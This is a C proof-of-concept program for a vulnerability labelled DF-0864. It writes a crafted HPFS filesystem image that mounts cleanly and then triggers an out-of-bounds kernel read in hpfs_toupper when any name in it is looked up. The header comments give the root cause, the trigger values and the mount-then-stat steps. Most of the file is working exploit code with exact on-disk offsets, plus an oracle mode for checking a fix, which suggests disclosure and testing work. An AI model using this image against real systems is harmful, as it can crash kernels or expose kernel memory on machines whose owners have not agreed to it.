/*
 * DF-0864 PoC image crafter.
 *
 * Builds a minimal HPFS filesystem image that is VALID enough to mount
 * cleanly, then triggers the OOB read in hpfs_toupper (sys/vfs/hpfs/
 * hpfs_subr.h:55) on the FIRST name-lookup in the mounted filesystem.
 *
 * Root cause
 * ----------
 * The hpfs_toupper macro indexes hpm_cpdblk[cp].b_upcase[c & 0x7F]:
 *
 *   sys/vfs/hpfs/hpfs_subr.h:55
 *     #define hpfs_toupper(hpmp, c, cp) \
 *       ((((u_char)(c))&0x80) ? \
 *         ((u_char)((hpmp)->hpm_cpdblk[(cp)].b_upcase[((u_char)(c))&0x7F])) : \
 *         (... ASCII fallback ...))
 *
 *   hpm_cpdblk is allocated in hpfs_cpinit (hpfs_subr.c:276):
 *     hpmp->hpm_cpdblk = kmalloc(cpicnt * sizeof(struct cpdblk), ...)
 *   where cpicnt == sp_cpinum (attacker-controlled u32 from the SpareBlock).
 *
 *   But the index `cp` passed to hpfs_toupper comes from the on-disk
 *   directory entry's de_cpid field (u8, hpfs.h:126):
 *
 *   sys/vfs/hpfs/hpfs_lookup.c:87
 *     res = hpfs_cmpfname(hpmp, name, namelen,
 *             dep->de_name, dep->de_namelen, dep->de_cpid);
 *
 *   de_cpid is taken VERBATIM from the crafted image with NO validation
 *   against sp_cpinum.  If de_cpid >= sp_cpinum, the access
 *   hpm_cpdblk[de_cpid].b_upcase[...] reads out of bounds.
 *
 * Trigger values
 * --------------
 *   sp_cpinum = 1               -> kmalloc(1*136 = 136 B) for hpm_cpdblk
 *   dirent.de_cpid = 0xFF (255) -> offset 255*136+6 = 34686 B from hpm_cpdblk
 *                                  (34550 B past the 136-byte allocation)
 *   dirent.de_name[0] = 0xFF    -> (0xFF & 0x80) != 0, so hpfs_toupper takes
 *                                  the array-indexed path (b_upcase[0x7F])
 *
 * Reachability: POST-mount, by ANY user who can stat() a name in the
 * mounted filesystem.  VOP_LOOKUP -> hpfs_lookup -> hpfs_genlookupbyname
 * -> hpfs_cmpfname -> hpfs_toupper -> OOB read.
 *
 * Image layout (sector = 512 B):
 *   0x00  boot sector        (zeros + 0x55AA)
 *   0x10  SuperBlock         (magic, rootfno=0x20, btotal=0x80, bitmap=0x30)
 *   0x11  SpareBlock         (magic, sp_cpinum=1, sp_cpi=0x60)
 *   0x20  root fnode         (FN_MAGIC, VDIR, fn_abd alleaf -> dirblk 0x40)
 *   0x30  bitmap dir         (u32 = 0x38)
 *   0x38  bitmap data        (4 KB; mark 0x00..0x7F used)
 *   0x40  dirblk             (D_MAGIC + 1 malicious dirent + DE_END)
 *         dirent: de_cpid=0xFF, de_name = { 0xFF, 0xFF, 0xFF, 0xFF }
 *   0x48  file fnode         (FN_MAGIC, VREG; de_fnode target, not actually
 *                             reached because the OOB fires first)
 *   0x60  cpisec             (CPI_MAGIC, s_cpicnt=1, b_cpid=1, b_cpdsec=0x70)
 *   0x70  cpdsec             (CPD_MAGIC, d_cpcnt=1, d_cpfirst=0,
 *                             d_cpdblk[0].b_cpid=1)
 *
 * sizeof(struct cpdblk) = 136 on amd64 (verified at runtime).
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#define SECTOR       512
#define IMG_SECTORS  512            /* 256 KiB */

#define SUBLOCK      0x10
#define SPBLOCK      0x11
#define ROOTFNO_SEC  0x20
#define BMDIR_SEC    0x30
#define BMDATA_SEC   0x38
#define DIRBLK_SEC   0x40
#define FILEFNO_SEC  0x48
#define CPI_SEC      0x60
#define CPD_SEC      0x70

/* magics */
#define SU_MAGIC     0xFA53E9C5F995E849ULL
#define SP_MAGIC     0xFA5229C5F9911849ULL
#define FN_MAGIC     0xF7E40AAEu
#define D_MAGIC      0x77E40AAEu
#define CPI_MAGIC    0x494521F7u
#define CPD_MAGIC    0x894521F7u

#define DE_END       0x0008

#define TRIGGER_CPID    0xFFu
#define TRIGGER_NAME0   0xFFu

static void put_u16(unsigned char *p, uint16_t v) {
    p[0] = v & 0xff; p[1] = (v >> 8) & 0xff;
}
static void put_u32(unsigned char *p, uint32_t v) {
    p[0] = v & 0xff; p[1] = (v >> 8) & 0xff;
    p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff;
}
static void put_u64(unsigned char *p, uint64_t v) {
    for (int i = 0; i < 8; i++) p[i] = (v >> (8 * i)) & 0xff;
}

int main(int argc, char **argv) {
    const char *out = (argc > 1) ? argv[1] : "crafted.img";
    uint8_t trigger_cpid = (argc > 2) ? (uint8_t)strtoul(argv[2], NULL, 0)
                                      : TRIGGER_CPID;

    unsigned char *img = calloc(IMG_SECTORS, SECTOR);
    if (!img) { perror("calloc"); return 1; }

    /* ---- boot sector ---- */
    img[0] = 0xEB;
    put_u16(img + SECTOR - 2, 0xAA55);

    /* ---- SuperBlock @ 0x10 ----
       +0x00 su_magic   u64
       +0x08 su_hpfsver u8  = 2
       +0x0C su_rootfno lsn_t u32 = ROOTFNO_SEC
       +0x10 su_btotal  u32 = 0x80 (128 sectors)
       +0x18 su_bitmap.lsn1 u32 = BMDIR_SEC
       +0x1C su_bitmap.lsn2 u32 = BMDIR_SEC
    */
    unsigned char *su = img + SUBLOCK * SECTOR;
    put_u64(su + 0, SU_MAGIC);
    su[8] = 2;
    put_u32(su + 0x0C, ROOTFNO_SEC);
    put_u32(su + 0x10, 0x80);
    put_u32(su + 0x18, BMDIR_SEC);
    put_u32(su + 0x1C, BMDIR_SEC);

    /* ---- SpareBlock @ 0x11 ----
       +0x00 sp_magic  u64
       +0x20 sp_cpi    lsn_t u32 = CPI_SEC
       +0x24 sp_cpinum u32   = 1   <-- controls hpm_cpdblk allocation size
    */
    unsigned char *sp = img + SPBLOCK * SECTOR;
    put_u64(sp + 0, SP_MAGIC);
    put_u32(sp + 0x20, CPI_SEC);
    put_u32(sp + 0x24, 1);

    /* ---- root fnode @ 0x20 ----
       +0x00 fn_magic  u32  = FN_MAGIC
       +0x10 fn_namelen u8  = 1
       +0x11 fn_name    '.' 
       +0x20 fn_parent lsn_t = ROOTFNO_SEC (self)
       +0x3B fn_flag   u8   = 1 (VDIR)
       +0x3C fn_ab (alblk_t, 8 bytes)
         +0 ab_flag     u8  = 0  (leaf)
         +4 ab_freecnt u8  = 7
         +5 ab_busycnt u8  = 1
         +6 ab_freeoff u16 = 20 (past the one alleaf)
       +0x44 fn_abd[0x60]  -- first 12 bytes = alleaf:
         al_off  u32 = 0
         al_len  u32 = 1
         al_lsn  u32 = DIRBLK_SEC   <-- dirblk pointer
    */
    unsigned char *rf = img + ROOTFNO_SEC * SECTOR;
    put_u32(rf + 0x00, FN_MAGIC);
    rf[0x10] = 1;
    rf[0x11] = '.';
    put_u32(rf + 0x20, ROOTFNO_SEC);
    rf[0x3B] = 1;                 /* VDIR */
    rf[0x3C + 0] = 0;             /* ab_flag = leaf */
    rf[0x3C + 4] = 7;             /* ab_freecnt */
    rf[0x3C + 5] = 1;             /* ab_busycnt */
    put_u16(rf + 0x3C + 6, 20);   /* ab_freeoff */
    /* alleaf at fn_abd[0] */
    put_u32(rf + 0x44 + 0, 0);    /* al_off */
    put_u32(rf + 0x44 + 4, 1);    /* al_len */
    put_u32(rf + 0x44 + 8, DIRBLK_SEC); /* al_lsn -> dirblk */

    /* ---- bitmap dir @ 0x30 ---- first u32 = bitmap data band LSN */
    put_u32(img + BMDIR_SEC * SECTOR, BMDATA_SEC);

    /* ---- bitmap data @ 0x38 (4 KB) ----
       Mark sectors 0x00..0x7F as used (i.e., clear those bits = 0 = used).
       HPFS bitmap: bit SET = free, bit CLEAR = used.  Default (calloc) = all
       used, which is fine for our minimal image.  But we need at least some
       free blocks for su_btotal accounting; leave them all "used" -- mount
       doesn't require any to be free.
    */

    /* ---- dirblk @ 0x40 (D_BSIZE = 2048 bytes = 4 sectors) ----
       +0x00 d_magic    u32 = D_MAGIC
       +0x04 d_freeoff  u32 = 0x60 (offset of first free byte in dirblk)
       +0x08 d_chcnt    u32 = 0
       +0x0C d_parent   lsn_t = ROOTFNO_SEC
       +0x10 d_self     lsn_t = DIRBLK_SEC
       +0x14 dirent[0]  (malicious)
       +0x48 dirent[1]  (DE_END)

       sizeof(dirblk_t) = 20 (0x14) on amd64.
       sizeof(hpfsdirent_t before name) = 0x2f on amd64:
         +0x00 de_reclen   u16
         +0x02 de_flag     u16
         +0x04 de_fnode    lsn_t u32
         +0x08 de_mtime    u_long (8 on amd64)
         +0x10 de_size     u32
         +0x18 de_atime    u_long (8)
         +0x20 de_ctime    u_long (8)
         +0x28 de_ealen    u32
         +0x2C de_flexflag u8
         +0x2D de_cpid     u8   <-- ATTACKER VALUE (TRIGGER_CPID)
         +0x2E de_namelen  u8
         +0x2F de_name[]   variable
    */
    unsigned char *db = img + DIRBLK_SEC * SECTOR;
    put_u32(db + 0x00, D_MAGIC);
    put_u32(db + 0x04, 0x60);          /* d_freeoff */
    put_u32(db + 0x08, 0);             /* d_chcnt */
    put_u32(db + 0x0C, ROOTFNO_SEC);   /* d_parent */
    put_u32(db + 0x10, DIRBLK_SEC);    /* d_self */

    /* dirent[0] at dirblk offset 0x14 */
    unsigned char *d0 = db + 0x14;
    put_u16(d0 + 0x00, 0x34);          /* de_reclen = 52 (stride to next dirent) */
    put_u16(d0 + 0x02, 0);             /* de_flag = 0 (not DE_END, not DE_DOWN) */
    put_u32(d0 + 0x04, FILEFNO_SEC);   /* de_fnode */
    /* de_mtime (8B), de_size (4B), de_atime (8B), de_ctime (8B), de_ealen (4B) = 0 */
    d0[0x2C] = 0;                      /* de_flexflag */
    d0[0x2D] = trigger_cpid;           /* de_cpid = 0xFF (THE OOB TRIGGER) */
    d0[0x2E] = 4;                      /* de_namelen = 4 */
    d0[0x2F] = TRIGGER_NAME0;          /* de_name[0] = 0xFF (high bit set -> array path) */
    d0[0x30] = TRIGGER_NAME0;          /* de_name[1] */
    d0[0x31] = TRIGGER_NAME0;          /* de_name[2] */
    d0[0x32] = TRIGGER_NAME0;          /* de_name[3] */

    /* dirent[1] (DE_END) at dirblk offset 0x14 + 0x34 = 0x48.
       The walk loop exits when it sees DE_END, so de_reclen here is
       irrelevant -- set a sane value. */
    unsigned char *d1 = db + 0x48;
    put_u16(d1 + 0x00, 0x40);          /* de_reclen (unused after DE_END) */
    put_u16(d1 + 0x02, DE_END);        /* de_flag = DE_END */

    /* ---- file fnode @ 0x48 (target of dirent de_fnode, not reached) ---- */
    unsigned char *ff = img + FILEFNO_SEC * SECTOR;
    put_u32(ff + 0x00, FN_MAGIC);
    put_u32(ff + 0x20, ROOTFNO_SEC);   /* fn_parent */
    ff[0x3B] = 0;                      /* VREG */

    /* ---- cpisec @ 0x60 ----
       +0x00 s_magic    u32 = CPI_MAGIC
       +0x04 s_cpicnt   u32 = 1
       +0x08 s_cpifirst u32 = 0
       +0x0C s_next     lsn_t = 0
       +0x10 s_cpi[0]:
         +0 b_country  u16 = 1
         +2 b_cpid     u16 = 1   (must match cpdsec's b_cpid)
         +4 b_checksum u32 = 0
         +8 b_cpdsec   lsn_t = CPD_SEC
         +12 b_vcpid   u16 = 1
         +14 b_dbcscnt u16 = 0
    */
    unsigned char *cpis = img + CPI_SEC * SECTOR;
    put_u32(cpis + 0,  CPI_MAGIC);
    put_u32(cpis + 4,  1);
    put_u32(cpis + 8,  0);
    put_u32(cpis + 12, 0);
    put_u16(cpis + 16 + 0,  1);
    put_u16(cpis + 16 + 2,  1);
    put_u32(cpis + 16 + 4,  0);
    put_u32(cpis + 16 + 8,  CPD_SEC);
    put_u16(cpis + 16 + 12, 1);
    put_u16(cpis + 16 + 14, 0);

    /* ---- cpdsec @ 0x70 ----
       +0x00 d_magic    u32 = CPD_MAGIC
       +0x04 d_cpcnt    u16 = 1   (VALID -- mount must succeed)
       +0x06 d_cpfirst  u16 = 0
       +0x08 d_checksum[3]
       +0x14 d_offset[3]
       +0x1A d_cpdblk[0]:
         +0  b_country  u16 = 1
         +2  b_cpid     u16 = 1   (matches cpisec's b_cpid)
         +4  b_dbcscnt  u16 = 0
         +6  b_upcase[0x80]  filled with identity-ish values (benign)
    */
    unsigned char *cpds = img + CPD_SEC * SECTOR;
    put_u32(cpds + 0, CPD_MAGIC);
    put_u16(cpds + 4, 1);
    put_u16(cpds + 6, 0);
    unsigned char *cpdblk0 = cpds + 26;      /* d_cpdblk[0] at +26 */
    put_u16(cpdblk0 + 0, 1);                 /* b_country */
    put_u16(cpdblk0 + 2, 1);                 /* b_cpid */
    put_u16(cpdblk0 + 4, 0);                 /* b_dbcscnt */
    /* b_upcase[128]: for the PRIMARY PoC (de_cpid=0xFF OOB), fill with
     * identity values (b_upcase[j] = j).  For fix-validation mode
     * (argv[3] != 0), set b_upcase[0x00] = b_upcase[0x7F] = 0x42 so the
     * comparison oracle (lookup "\x80\x80\x80\x80" vs dirent "\xFF\xFF..."
     * -> b_upcase[0] vs b_upcase[0x7F]) produces a MATCH only when cp is
     * clamped to 0 (fixed).  On the unpatched kernel, cp=255 reads OOB
     * bytes that (almost certainly) differ -> no match -> ENOENT. */
    int oracle_mode = (argc > 3) ? atoi(argv[3]) : 0;
    if (oracle_mode) {
        cpdblk0[6 + 0x00] = 0x42;   /* b_upcase[0]   */
        cpdblk0[6 + 0x7F] = 0x42;  /* b_upcase[0x7F] -- == b_upcase[0] */
        for (int j = 1; j < 0x7F; j++)
            cpdblk0[6 + j] = (unsigned char)(j + 1);  /* distinct */
    } else {
        for (int j = 0; j < 0x80; j++)
            cpdblk0[6 + j] = (unsigned char)j;
    }

    FILE *f = fopen(out, "wb");
    if (!f) { perror("fopen"); free(img); return 1; }
    if (fwrite(img, 1, IMG_SECTORS * SECTOR, f) != (size_t)(IMG_SECTORS * SECTOR)) {
        perror("fwrite"); fclose(f); free(img); return 1;
    }
    fclose(f);
    free(img);

    printf("[craft] wrote %s  (%d bytes)\n", out, IMG_SECTORS * SECTOR);
    printf("[craft] sp_cpinum=1  -> kmalloc(1*136) = 136-byte hpm_cpdblk\n");
    printf("[craft] dirent.de_cpid=0x%02x -> hpm_cpdblk[%u] = +%u bytes from base\n",
           trigger_cpid, trigger_cpid, (unsigned)trigger_cpid * 136);
    printf("[craft]   OOB read at +%u bytes (past the 136-byte alloc) on lookup\n",
           (unsigned)trigger_cpid * 136 + 6 + 0x7F);
    printf("[craft] trigger: mount image, then 'stat /mnt/x' (any name) -> VOP_LOOKUP\n");
    printf("[craft]   -> hpfs_genlookupbyname -> hpfs_cmpfname -> hpfs_toupper OOB\n");
    return 0;
}
